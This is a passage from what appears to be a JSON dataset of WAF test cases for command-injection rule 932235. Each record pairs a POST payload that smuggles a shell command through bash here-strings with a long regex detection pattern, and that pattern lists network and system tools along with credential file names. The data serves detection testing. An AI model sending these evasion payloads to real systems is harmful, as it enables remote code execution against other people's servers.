"transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block evasion using here string with space" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;`cat<<<'ifconfig'`\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\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c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:(?:HEAD|POST|y(?:arn|elp))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block evasion using here string with single quotes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;`cat<<<\"ifconfig\"`\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)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)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:(?:HEAD|POST|y(?:arn|elp))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block evasion using here string with double quotes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;`cat<<<$(ifconfig)`\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 